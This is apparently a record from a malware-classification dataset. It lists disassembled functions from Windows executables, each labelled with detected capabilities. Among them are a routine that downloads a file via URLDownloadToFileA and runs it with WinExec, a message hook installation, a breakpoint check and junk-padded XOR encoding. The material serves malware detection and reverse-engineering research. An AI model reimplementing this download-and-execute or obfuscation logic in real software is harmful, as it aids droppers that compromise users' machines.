joyce8/EMBER2024-capa huggingface dataset:
Function at 0x459788
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45979a
add esp, 0xfffffff0
call fcn.00403c44
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041fca8
mov eax, dword [0x4a0048]
mov dword [eax + 4], ebx
mov dword [eax], 0x459b2c
mov eax, dword [0x4a0058]
mov dword [eax + 4], ebx
mov dword [eax], 0x459b38
mov eax, ebx
call fcn.00459b44
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x416448]
call fcn.004038f0
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x416448]
call fcn.004038f0
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x416448]
call fcn.004038f0
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x416448]
call fcn.004038f0
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x416448]
call fcn.004038f0
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x4555dc
push eax
push 0
push 0
mov eax, dword [0x4a029c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x423908]
call fcn.0042515c
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x423908]
call fcn.0042515c
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x423908]
call fcn.0042515c
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00459f74
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x459e44
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x459e44
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x459e44
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4598d7
call fcn.00403c9c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x459c28
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x459dd3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x459db4
mov dl, 1
mov eax, dword [0x416ab4]
call fcn.004038f0
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404800
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x459da3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044cbe8
test al, al
je 0x459d96
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x459de4
lea eax, [ebp - 0x254]
call fcn.00409fac
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x459d96
xor eax, eax
push ebp
push 0x459d8f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x459e1c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x459d78
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404a70
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x459d78
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404a70
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x459d96
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x459c99
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.0041b440
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x459dda
lea eax, [ebp - 0x260]
call fcn.00404800
ret

Function at 0x45a74c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4a45b8]
cmp byte [eax + 0xad], 0
jne 0x45a7bd
cmp dword [0x4a45d0], 0
jne 0x45a77e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45a708
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4a45d0], eax
cmp dword [0x4a45cc], 0
jne 0x45a799
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4a45cc], eax
cmp dword [0x4a45d4], 0
jne 0x45a7bd
push esp
push 0
push 0
push 0x45a6ac
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4a45d4], eax
pop edx
ret
Function at 0x45a990
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45a9a7
add esp, 0xfffffff0
call fcn.00403c44
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041fca8
mov eax, dword [0x4a0278]
cmp word [eax + 2], 0
jne 0x45a9cf
mov eax, dword [0x4a0278]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045c440
mov eax, dword [0x4a0398]
cmp word [eax + 2], 0
jne 0x45a9e9
mov eax, dword [0x4a0398]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045c64c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x416448]
call fcn.004038f0
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x416448]
call fcn.004038f0
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x416448]
call fcn.004038f0
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x424418]
call fcn.0042bd80
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x45aba0
mov eax, dword [0x4a00fc]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042c154
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45cd0c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4a00fc]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040dd14
test eax, eax
je 0x45aaf0
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004095c8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040dd48
test eax, eax
je 0x45ab04
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404a70
mov byte [ebx + 0xd4], 0
push ebx
push 0x45bfa0
call fcn.00420e24
mov dword [ebx + 0xc8], eax
mov eax, dword [0x49fef4]
cmp byte [eax], 0
jne 0x45ab55
mov eax, ebx
call fcn.0045ace4
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.0045cee8
mov eax, ebx
call fcn.0045da48
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45ab95
call fcn.00403c9c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45af64
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4a45b8]
cmp dword [eax + 0x30], 0
je 0x45b00e
cmp dword [ebx + 0x94], 0
jne 0x45b008
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45aef4
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45b008
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45afce
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45b008
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418b20
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45afdd
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45bd28
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x45bd5d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004048f0
jmp 0x45bd6a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404854
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45d0cc
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45d13a
mov eax, esi
call fcn.0044795c
test al, al
je 0x45d13a
mov eax, dword [ebx + 0x84]
call fcn.004475e8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45d13a
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x45d12e
push 0
mov eax, dword [ebx + 0x84]
call fcn.004475e8
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0043fa08
jmp 0x45d13a
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0045cf08
pop esi
pop ebx
ret

Function at 0x47d210
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x47d26a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.0047d200
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.0047ae58
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.0047a970
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47d271
lea eax, [ebp - 4]
call fcn.00404800
ret
Function at 0x486694
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404cb4
mov eax, dword [ebp - 8]
call fcn.00404cb4
xor eax, eax
push ebp
push 0x486764
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404d24
mov eax, dword [ebp - 0xc]
mov edx, 0x48677c
call fcn.00404c10
je 0x4866fc
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x48678c
call fcn.00404b10
mov eax, dword [ebp - 8]
call fcn.0040937c
test al, al
jne 0x486725
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404cc4
push eax
mov eax, dword [ebp - 4]
call fcn.00404cc4
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov eax, dword [ebp - 8]
call fcn.00404cc4
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.004049f8
mov eax, dword [ebp - 0x10]
call fcn.0040937c
test al, al
je 0x486747
mov bl, 1
jmp 0x486749
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48676b
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404824
ret

Function at 0x486794
Capabilities:
Check os version

Disassembly:
push ebx
push esi
add esp, 0xffffff6c
mov ebx, edx
mov esi, esp
mov eax, ebx
mov edx, 0x48688c
call fcn.00404854
mov dword [esi], 0x94
push esi
call sub.kernel32.dll_GetVersionExA
cmp dword [esi + 4], 6
jne 0x4867d0
cmp dword [esi + 8], 0
jne 0x4867d0
mov eax, ebx
mov edx, 0x4868a0
call fcn.00404854
cmp dword [esi + 4], 6
jne 0x4867e8
cmp dword [esi + 8], 1
jne 0x4867e8
mov eax, ebx
mov edx, 0x4868b8
call fcn.00404854
cmp dword [esi + 4], 5
jne 0x486800
cmp dword [esi + 8], 0
jne 0x486800
mov eax, ebx
mov edx, 0x4868cc
call fcn.00404854
cmp dword [esi + 4], 5
jne 0x486818
cmp dword [esi + 8], 1
jne 0x486818
mov eax, ebx
mov edx, 0x4868e4
call fcn.00404854
cmp dword [esi + 4], 5
jne 0x486830
cmp dword [esi + 8], 2
jne 0x486830
mov eax, ebx
mov edx, 0x4868f8
call fcn.00404854
cmp dword [esi + 4], 4
jne 0x486848
cmp dword [esi + 8], 0
jne 0x486848
mov eax, ebx
mov edx, 0x48690c
call fcn.00404854
cmp dword [esi + 4], 4
jne 0x486860
cmp dword [esi + 8], 0xa
jne 0x486860
mov eax, ebx
mov edx, 0x486920
call fcn.00404854
cmp dword [esi + 4], 4
jne 0x486878
cmp dword [esi + 8], 0x5a
jne 0x486878
mov eax, ebx
mov edx, 0x486934
call fcn.00404854
add esp, 0x94
pop esi
pop ebx
ret
Function at 0x486940
Capabilities:
Check os version

Disassembly:
push ebx
push esi
add esp, 0xffffff6c
mov esi, esp
xor ebx, ebx
mov dword [esi], 0x94
push esi
call sub.kernel32.dll_GetVersionExA
cmp dword [esi + 4], 6
jne 0x486969
cmp dword [esi + 8], 0
jne 0x486969
mov ebx, 0x3c
cmp dword [esi + 4], 6
jne 0x48697a
cmp dword [esi + 8], 1
jne 0x48697a
mov ebx, 0x3d
cmp dword [esi + 4], 5
jne 0x48698b
cmp dword [esi + 8], 0
jne 0x48698b
mov ebx, 0x32
cmp dword [esi + 4], 5
jne 0x48699c
cmp dword [esi + 8], 1
jne 0x48699c
mov ebx, 0x33
cmp dword [esi + 4], 5
jne 0x4869ad
cmp dword [esi + 8], 2
jne 0x4869ad
mov ebx, 0x34
cmp dword [esi + 4], 4
jne 0x4869be
cmp dword [esi + 8], 0
jne 0x4869be
mov ebx, 0x28
cmp dword [esi + 4], 4
jne 0x4869cf
cmp dword [esi + 8], 0xa
jne 0x4869cf
mov ebx, 0x29
cmp dword [esi + 4], 4
jne 0x4869e0
cmp dword [esi + 8], 0x5a
jne 0x4869e0
mov ebx, 0x31
mov eax, ebx
add esp, 0x94
pop esi
pop ebx
ret

Function at 0x4869ec
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
push ebx
xor ebx, ebx
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404cb4
mov eax, dword [ebp - 8]
call fcn.00404cb4
xor eax, eax
push ebp
push 0x486b7a
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [ebp - 4]
push dword [ebp - 8]
push 0x486b90
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404b84
lea edx, [ebp - 0x10]
mov eax, dword [0x4a023c]
call fcn.0045ed90
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov ecx, 0x486b98
call fcn.004063cc
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x10]
mov ecx, 0x486ba8
call fcn.004063cc
mov eax, dword [ebp - 0xc]
call fcn.00404cc4
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [eax]
call dword [eax + 0x50]
lea edx, [ebp - 0x12c]
mov eax, dword [ebp - 0xc]
call fcn.00409428
mov eax, dword [ebp - 0x12c]
call fcn.00404cc4
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
lea eax, [ebp - 0x20]
push eax
push 0x10
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [ebp - 0x125]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
lea eax, [ebp - 0x134]
lea edx, [ebp - 0x125]
mov ecx, 0x105
call fcn.00404a70
push dword [ebp - 0x134]
push 0x486bc0
push dword [ebp - 8]
push 0x486bcc
lea eax, [ebp - 0x130]
mov edx, 4
call fcn.00404b84
mov edx, dword [ebp - 0x130]
lea eax, [ebp - 0x1c]
call fcn.0040515c
push 0
mov eax, dword [ebp - 0x1c]
call fcn.0040516c
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486b81
lea eax, [ebp - 0x134]
mov edx, 3
call fcn.00404824
lea eax, [ebp - 0x1c]
call fcn.0040500c
lea eax, [ebp - 0x18]
call fcn.00406388
lea eax, [ebp - 0x14]
call fcn.00406388
lea eax, [ebp - 0x10]
call fcn.00406388
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404824
ret
Function at 0x489b40
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x489b6e
mov eax, ebx
call fcn.0048a5f4
cmp dword [ebx + 0x40], 0
je 0x489b67
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x489bdf
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x489bd1
cmp dword [ebx + 8], 0
je 0x489b90
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x489ba2
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x489bd1
cmp dword [ebx + 8], 0
je 0x489b83
cmp eax, 3
je 0x489bb5
dec eax
jne 0x489b83
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x489b83
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x489b83
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x489bfd
cmp dword [ebx + 0x14], 0xcc
je 0x489bfd
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00489c08
pop ebx
ret

Function at 0x49b0c8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x49b1ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a5540]
call fcn.00486940
cmp eax, 0x3c
jl 0x49b162
lea eax, [ebp - 4]
mov ecx, 0x49b204
mov edx, dword [0x4a5548]
call fcn.00404b10
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 8]
mov ecx, 0x49b21c
mov edx, dword [0x4a5544]
call fcn.00404b10
mov edx, dword [ebp - 8]
mov eax, dword [0x4a5540]
pop ecx
call fcn.00486694
test al, al
je 0x49b15e
mov eax, 0x49b238
call fcn.00432214
push 5
lea eax, [ebp - 0xc]
mov ecx, 0x49b204
mov edx, dword [0x4a5548]
call fcn.00404b10
mov eax, dword [ebp - 0xc]
call fcn.00404cc4
push eax
call sub.kernel32.dll_WinExec
mov bl, 1
jmp 0x49b1d1
xor ebx, ebx
jmp 0x49b1d1
lea eax, [ebp - 0x10]
mov ecx, 0x49b268
mov edx, dword [0x4a5548]
call fcn.00404b10
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
mov ecx, 0x49b280
mov edx, dword [0x4a5544]
call fcn.00404b10
mov edx, dword [ebp - 0x14]
mov eax, dword [0x4a5540]
pop ecx
call fcn.00486694
test al, al
je 0x49b1cf
mov eax, 0x49b298
call fcn.00432214
push 5
lea eax, [ebp - 0x18]
mov ecx, 0x49b268
mov edx, dword [0x4a5548]
call fcn.00404b10
mov eax, dword [ebp - 0x18]
call fcn.00404cc4
push eax
call sub.kernel32.dll_WinExec
mov bl, 1
jmp 0x49b1d1
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b1f3
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00404824
ret
Function at 0x401210
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
neg eax
not ebx
rcr ebx, 0x61
neg edx
dec ebx
bswap edx
dec edx
ror edx, 0xd8
not ebx
ror esi, 0xee
and edi, 0xf7
sbb eax, 0xdb
sub eax, 0xeb
sub edx, 0xbf
imul esi
inc edx
and esi, 0x87
bswap eax
inc esi
neg edx
ror edx, 0xab
imul edi
rcl eax, 0x15
rcl eax, 0xf
imul esi
sub edx, 0x31
neg esi
neg eax
rcl esi, 0x6a
not eax
not ebx
rcl esi, 0xba
inc esi
or esi, 0x1d
and eax, 0x92
mov esi, 0x73
sbb esi, 0xa8
and eax, 0x1f
or eax, 0x8e
not esi
sbb esi, 0xb5
ror edx, 0x82
inc esi
rcr eax, 0xe9
not esi
dec edx
add edi, 0x6c
sub edx, 0x19
dec edi
not esi
xor ecx, ecx
xor edi, edi
dec edi
dec esi
and ebx, 0x77
or esi, 0x92
not edx
and eax, 0x95
inc eax
sub edi, 0xca
inc eax
dec eax
rcr eax, 0xe2
not edi
rcl edx, 0xfb
not edx
bswap edi
neg esi
inc edx
imul eax
not edi
sbb ebx, 0x51
rcr esi, 0x7e
rcr ebx, 0xfb
mov edx, 0x43
not eax
neg esi
rcr ebx, 0x94
bswap eax
bswap edx
or eax, 0x3e
ror esi, 0x24
and edx, 0x9f
imul edx
rcr edx, 0x65
neg eax
neg edx
imul edx
dec ebx
imul eax
bswap esi
rol eax, 2
mov edx, 0x4b
or edi, 0xda
inc ebx
sub esi, 0xea
rol edx, 0xf0
dec edx
rol ebx, 0xc5
not edi
neg esi
imul edi
mov ecx, dword [ebp + 0xc]
add edi, 0x93
inc eax
add edi, 0xa6
mov ebx, 8
bswap edx
sbb ebx, 0x73
imul esi
add esi, 0xed
dec ebx
neg edi
rol ebx, 0xcc
not eax
neg eax
mov ebx, 0xb6
bswap esi
or esi, 0xf1
sub edi, 0x19
rcl ebx, 0x54
not eax
not edx
sbb esi, 0x39
and eax, 0xe9
bswap edi
and ebx, 0xa7
rcr ebx, 0x4d
bswap edx
neg edx
rol edi, 0xf7
mov edx, 0x34
inc edi
imul esi
neg edx
inc ebx
dec ebx
rol esi, 0x50
rcr edi, 0x42
bswap edi
inc ebx
rcl ebx, 0xe5
bswap eax
rcl eax, 0xd3
rcl edx, 0xe0
ror ebx, 0x39
dec eax
rcr esi, 0x6a
mov esi, 0x9b
neg eax
add esi, 0x3f
ror edx, 0x4e
ror esi, 0x99
mov edi, dword [ebp + 8]
xor esi, ebx
mov eax, esi
xor esi, ebx
not byte [edi]
mov esi, ebx
mov eax, ebx
mov esi, eax
xor eax, esi
mov eax, eax
mov esi, eax
xor ebx, eax
xor ebx, esi
xor esi, eax
add byte [edi], 0x75
xor eax, esi
mov ebx, eax
xor eax, esi
xor esi, esi
xor eax, ebx
mov eax, esi
mov ebx, ebx
xor ebx, ebx
xor ebx, ebx
sub byte [edi], 0x25
xor esi, eax
xor esi, eax
xor eax, eax
xor eax, ebx
xor esi, eax
xor eax, ebx
mov ebx, ebx
mov eax, esi
xor esi, ebx
imul byte [edi]
inc edi
loop 0x4013ca
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40648d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4459b8]
jne 0x406497
repz ret
jmp fcn.004086fc
Function at 0x4080bc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040650e
and dword [ebp - 4], 0
cmp dword [0x4468e4], 0
mov ebx, eax
jne 0x40816d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40821e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40821e
push eax
call fcn.0040649c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4468e4], eax
call esi
push eax
call fcn.0040649c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4468e8], eax
call esi
push eax
call fcn.0040649c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4468ec], eax
call esi
push eax
call fcn.0040649c
pop ecx
mov dword [0x4468f4], eax
test eax, eax
je 0x40816d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040649c
pop ecx
mov dword [0x4468f0], eax
mov eax, dword [0x4468f0]
cmp eax, ebx
je 0x4081c5
cmp dword [0x4468f4], ebx
je 0x4081c5
push eax
call fcn.00406517
push dword [0x4468f4]
mov esi, eax
call fcn.00406517
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4081c5
test edi, edi
je 0x4081c5
call esi
test eax, eax
je 0x4081bc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4081bc
test byte [ebp - 0xc], 1
jne 0x4081c5
or dword [ebp + 0x10], 0x200000
jmp 0x4081fe
mov eax, dword [0x4468e8]
cmp eax, ebx
je 0x4081fe
push eax
call fcn.00406517
pop ecx
test eax, eax
je 0x4081fe
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4081fe
mov eax, dword [0x4468ec]
cmp eax, ebx
je 0x4081fe
push eax
call fcn.00406517
pop ecx
test eax, eax
je 0x4081fe
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4468e4]
call fcn.00406517
pop ecx
test eax, eax
je 0x40821e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408220
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret